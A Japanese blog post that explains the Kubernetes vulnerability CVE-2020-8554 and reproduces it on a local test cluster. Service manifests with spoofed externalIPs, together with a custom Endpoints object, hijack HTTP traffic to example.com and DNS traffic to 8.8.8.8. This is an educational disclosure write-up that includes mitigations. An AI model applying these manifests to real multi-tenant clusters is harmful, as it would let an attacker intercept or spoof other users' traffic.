knqyf263's blog

自分のためのメモとして残しておくためのブログ。

KubernetesのLoadBalancerやClusterIPを用いた中間者攻撃(CVE-2020-8554)

今回は前回と違いライトなネタです。

概要

Kubernetesで新しい脆弱性(CVE-2020-8554)が公開されました。

github.com

拍子抜けするほど簡単な脆弱性なのですが、一応試しておきました。発見者の方のブログも以下にあります。

blog.champtar.fr

今回の脆弱性はServiceのtype: LoadBalancer/ClusterIPを悪用して行う中間者攻撃(MITM)なのですが、ブログの中でMITM as a Serviceと評していたのが面白かったです。KubernetesがMITMを簡単に代行してくれるという意味でas a Service感強いですし、今回悪用するリソースタイプもServiceなので二重にかかっていて好きです。

要約

  • 前提
    • 攻撃者が以下のいずれかの権限を持つ場合
      • type: ClusterIPのServiceを作成可能かつspec.externalIPsを設定可能
      • type: LoadBalancerのServiceのspec.externalIPsを設定可能
      • type: LoadBalancerのstatusが変更可能
        • より具体的にはstatus.loadBalancer.ingress.ipを変更可能
  • 影響
  • 影響するクラスタ
    • 全てのKubernetesバージョン
    • 特にマルチテナントをしていてServiceを作る権限がある場合は影響が大きい
      • 他の利用者のPod/Nodeの通信を傍受できる可能性があるため
  • アップデート
    • なし(設計上の欠陥であり修正のためには破壊的変更が必要)
  • 緩和策
  • 個人的な感想
    • マルチテナントクラスタの場合は影響ありそう
    • それ以外は攻撃者がServiceを作れるという前提が厳しいため影響は軽微

脆弱性概要

Serviceではtype: LoadBalancerやtype: ClusterIPが利用できますが、その中にexternalIPsというフィールドがあります。

kubernetes.io

上記のドキュメントにある設定例を引用します。

apiVersion: v1
kind: Service
metadata:
  name: my-service
spec:
  selector:
    app: MyApp
  ports:
    - name: http
      protocol: TCP
      port: 80
      targetPort: 9376
  externalIPs:
    - 80.11.12.10

この例ではmy-serviceは80.11.12.10:80でアクセス可能です。ここでexternalIPsを指定していますが、ドキュメントにもあるようにこれはKubernetesで管理されているわけではありません。実は任意のIPアドレスが指定できるというのが今回の脆弱性の肝です。

例えば8.8.8.8を指定するとどうなるかと言うと、8.8.8.8宛に通信したいPodのリクエストが全てmy-serviceにルーティングされます。これはクラスタ外部には影響を与えないので、クラスタ内のPodやNodeが影響を受けます。

これを悪用して、例えば example.com にアクセスしたいPodのHTTPリクエストを吸い込んで偽の応答を返すと行ったことが可能です。

非常にシンプルすぎてこれ以上特に説明することがありません。脆弱性の説明だけで2万文字以上書いた前回とは雲泥の差です。脆弱性に興味ある人は以下も興味あるかもしれないので一応貼っておきます。

knqyf263.hatenablog.com

さすがにシンプルすぎたのでちょっとお絵かきしてみました。インターネット上の8.8.8.8にアクセスしたいのにexternalIP: 8.8.8.8なServiceがあるせいでそちらにトラフィックが吸い込まれるイメージです。あくまでイメージなのであまり厳密性は考慮して作ってません。

f:id:knqyf263:20201208203451p:plain

PoC

簡単なのでHTTPとDNS両方やってみます。ご丁寧に上のGitHubのIssueや発見者のブログに再現方法も載っているので簡単です。ただ自分の環境用に少しアレンジしています。 Namespaceはdefaultでやってますが、あとで消すの面倒な人は適当なテスト用のNamespaceを作っておくと良いと思います。 自分はkindを使いました。

$ kind create cluster

HTTP編

まず、nginxを起動します。このnginxはHTTPリクエスト吸い込む先のPodになります。もちろん本来であればnginxではなくて攻撃者の好きなことをするためのPodを配置します。

$ kubectl run nginx --image nginx:latest --port 80

この状態で example.com にアクセスしてみます。

$ kubectl run --rm -it curl --image=curlimages/curl --restart=Never -- curl -I http://example.com
HTTP/1.1 200 OK
Accept-Ranges: bytes
Age: 493368
Cache-Control: max-age=604800
Content-Type: text/html; charset=UTF-8
Date: Tue, 08 Dec 2020 04:34:39 GMT
Etag: "3147526947"
Expires: Tue, 15 Dec 2020 04:34:39 GMT
Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT
Server: ECS (dcb/7EC8)
X-Cache: HIT
Content-Length: 1256

pod "curl" deleted

そうすると上記のようなデータが返ってきます。この時点では正常にアクセスできています。

次にtype: ClusterIPのServiceを作ります。この時、externalIPsのところに吸い込みたいIPアドレスを指定します。今回は example.comIPアドレスにしています。selectorとしてnginxを指定しているので、example.com 宛の通信がnginxに吸い込まれます。

$ cat service.yaml
apiVersion: v1
kind: Service
metadata:
  name: mitm
spec:
  selector:
    run: nginx
  type: ClusterIP
  ports:
    - name: http
      protocol: TCP
      port: 80
      targetPort: 80
  externalIPs:
    - 93.184.216.34

$ kubectl get service
NAME         TYPE        CLUSTER-IP      EXTERNAL-IP     PORT(S)   AGE
kubernetes   ClusterIP   10.96.0.1       <none>          443/TCP   10m
mitm         ClusterIP   10.110.24.182   93.184.216.34   80/TCP    7s

EXTERNAL-IPが93.184.216.34になっていることを確認したら、もう一度 example.com にアクセスしてみます。

$ kubectl run --rm -it curl --image=curlimages/curl --restart=Never -- curl -I http://example.com
HTTP/1.1 200 OK
Server: nginx/1.19.5
Date: Tue, 08 Dec 2020 04:45:26 GMT
Content-Type: text/html
Content-Length: 612
Last-Modified: Tue, 24 Nov 2020 13:02:03 GMT
Connection: keep-alive
ETag: "5fbd044b-264"
Accept-Ranges: bytes

pod "curl" deleted

今度はnginxからレスポンスが返ってきていることが分かります。ということで攻撃者のPodでHTTPリクエストを盗聴することができました。

DNS

先程はServiceのselectorを使って攻撃者のPodに対してリクエストを送らせる方法を取りましたが、実は Endpoints を使うことでKubernetesクラスタ内だけではなく外部にデータを送らせることも可能です。EndpointsはService使った時とかに作られるぐらいの雑な認識だったのですが、自分でも好きにいじれるということを知りました(当たり前ですが)。Serviceがselectorを持ってない場合などは自分でEndpoints作るということがドキュメントにも書いてありました。

kubernetes.io

とりあえず先程のServiceを消しておきます。

$ kubectl delete svc/mitm

最初からdigなどがセットアップされたコンテナイメージを発見者の方が用意してくれているようですが、簡単なので自分でセットアップしていきます。

まずさっき作ったnginxのPodにログインします。

$ kubectl exec -it nginx -- bash

digをインストールします(ついでにvimも)。

 $ apt -y update && apt -y install dnsutils vim

まず適当に名前を引いてみます。

root@nginx:/# dig example.com

(中略)

;; SERVER: 10.96.0.10#53(10.96.0.10)
;; WHEN: Tue Dec 08 05:30:18 UTC 2020
;; MSG SIZE  rcvd: 79

結果を見ると10.96.0.10に問い合わせに行っています。

resolv.confを見ると確かにそうなっています。

root@nginx:/# cat /etc/resolv.conf
search default.svc.cluster.local svc.cluster.local cluster.local
nameserver 10.96.0.10
options ndots:5

k8sクラスタ内のIPアドレスだとLoadBalancerでの吸い込みが動かないかと思います。少なくとも自分の環境では無理でした。内部のIPアドレス宛だとデフォルトゲートウェイに飛ばされず内部で通信してしまうのでLoadBalancerのレイヤーに到達しない気がしますし、これは動かないのが自然かと思います。

何か頑張ればできるかもしれませんが、今回は外部のDNSサーバに変えます。発見者の方の動画を見ると、GKEでは169.254.169.254になっているため特に設定変更不要で攻撃が刺さるようでした。

今回は8.8.8.8にしています。

root@nginx:/# cat /etc/resolv.conf
search default.svc.cluster.local svc.cluster.local cluster.local
nameserver 8.8.8.8
options ndots:5

再度適当に名前を引いてみます。

root@nginx:/# dig example.com

(中略)

;; ANSWER SECTION:
example.com.            20528   IN      A       93.184.216.34

;; Query time: 51 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Tue Dec 08 05:41:43 UTC 2020
;; MSG SIZE  rcvd: 56

確かに8.8.8.8にアクセスしています。CHAOSクラスを確認してみます。

root@nginx:/# dig +short CH TXT version.server
root@nginx:/# dig +short CH TXT id.server

すると何も返ってきません。Google Public DNSはCHAOSクラスのレコードを返してくれないようです。ちなみにBINDなどではversion.bindでバージョンを確認することができます。

www.atmarkit.co.jp

ただBINDのバージョンを返すと脆弱なバージョンであることが分かったりしてセキュリティ上は良くないため、ローカルネットワークからのみ許可するなどの設定が一般的です。

上の確認ができたらexitして以下の設定を進めます。または別のターミナルを開いても良いです。

Kubernetesの設定に戻ります。先程はClusterIPを使ったので、今回はLoadBalancerを使ってみます。今回は8.8.8.8宛の53/udpを吸い込みたいので、以下のような設定にします。

先ほど説明したようにselectorは設定していません。

$ cat service.yaml
apiVersion: v1
kind: Service
metadata:
  name: mitm
spec:
  type: LoadBalancer
  ports:
    - name: dns
      protocol: UDP
      port: 53
      targetPort: 53
  externalIPs:
    - 8.8.8.8

$ kubectl apply -f service.yaml
service/mitm created

$ kubectl get svc/mitm
NAME   TYPE           CLUSTER-IP      EXTERNAL-IP   PORT(S)        AGE
mitm   LoadBalancer   10.105.50.141   8.8.8.8       53:31296/UDP   24s

selectorを指定していないのでEndpointsもありません。

$ kubectl get endpoints/mitm
Error from server (NotFound): endpoints "mitm" not found

ということで自分で作ります。1.1.1.1の53/udpに飛ばしてほしいので以下のようになります。ちなみに発見者の方のブログのYAMLは最後がtargetPortになっていますが(2020/12/08現在)、それだと動かなくてprotocolが正しいかなと思います。

$ cat endpoints.yaml
apiVersion: v1
kind: Endpoints
metadata:
  name: mitm
subsets:
- addresses:
  - ip: 1.1.1.1
  ports:
  - name: dns
    port: 53
    protocol: UDP

applyすれば準備完了です。

$ kubectl apply -f endpoints.yaml
$ kubectl get endpoints/mitm
NAME   ENDPOINTS    AGE
mitm   1.1.1.1:53   2s

ではもう一度nginxのPodに入ってdigで引いてみます。

$ kubectl exec -it nginx -- bash
root@nginx:/# dig example.com

(中略)

;; ANSWER SECTION:
example.com.            81213   IN      A       93.184.216.34

;; Query time: 22 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Tue Dec 08 05:57:48 UTC 2020
;; MSG SIZE  rcvd: 56

8.8.8.8に問い合わせていますし、特に何も変わっていないように見えます。しかし再度CHAOSクラスのversion.serverなどを引いてみます。

root@nginx:/# dig +short CH TXT version.server
"2020.12.0"
root@nginx:/# dig +short CH TXT id.server
"TLV"

今度は値が返ってきています。これはCloudflareのDNSサーバがこれらのレコードに対応しているためです。version.serverの方は発見者の環境では "cluodflare-resolver-2019.11.0" などのわかりやすい値が返ってきていましたが、自分の環境では"2020.12.0"のみでした。

1.1.1.1に問い合わせると同じ値が帰ってくることが分かります。

root@nginx:/# dig +short @1.1.1.1 CH TXT version.server
"2020.12.0"

id.serverは自分がイスラエルのTel-Aviv在住なのでTLVになっています。

ということで8.8.8.8に問い合わせたはずなのに1.1.1.1に問い合わせに行っていることが分かります。これを1.1.1.1ではなく攻撃者のDNSサーバにしてしまえば好きなDNSレスポンスを返すことができます。

その他

他にも実験した内容が発見者のブログには書いてあるため、興味がある人は目を通すと良いです。

blog.champtar.fr

まとめ

攻撃者がServiceの設定が出来るという前提があるため実際の悪用はマルチテナント以外の状況では難しいかと思いますが、シンプルな脆弱性なので軽く目を通しておくと良いかと思います。

以下のブログで解説した脆弱性も攻撃者がクラスタ内にいる前提での中間者攻撃でした。最近のトレンドかなと思います。

knqyf263.hatenablog.com

今回の脆弱性は影響こそ大きくないものの設計上の欠陥ということでパッチは今のところないため、軽く頭の片隅においておくと良さそうです。今後の方針については以下で話し合われているようです。

github.com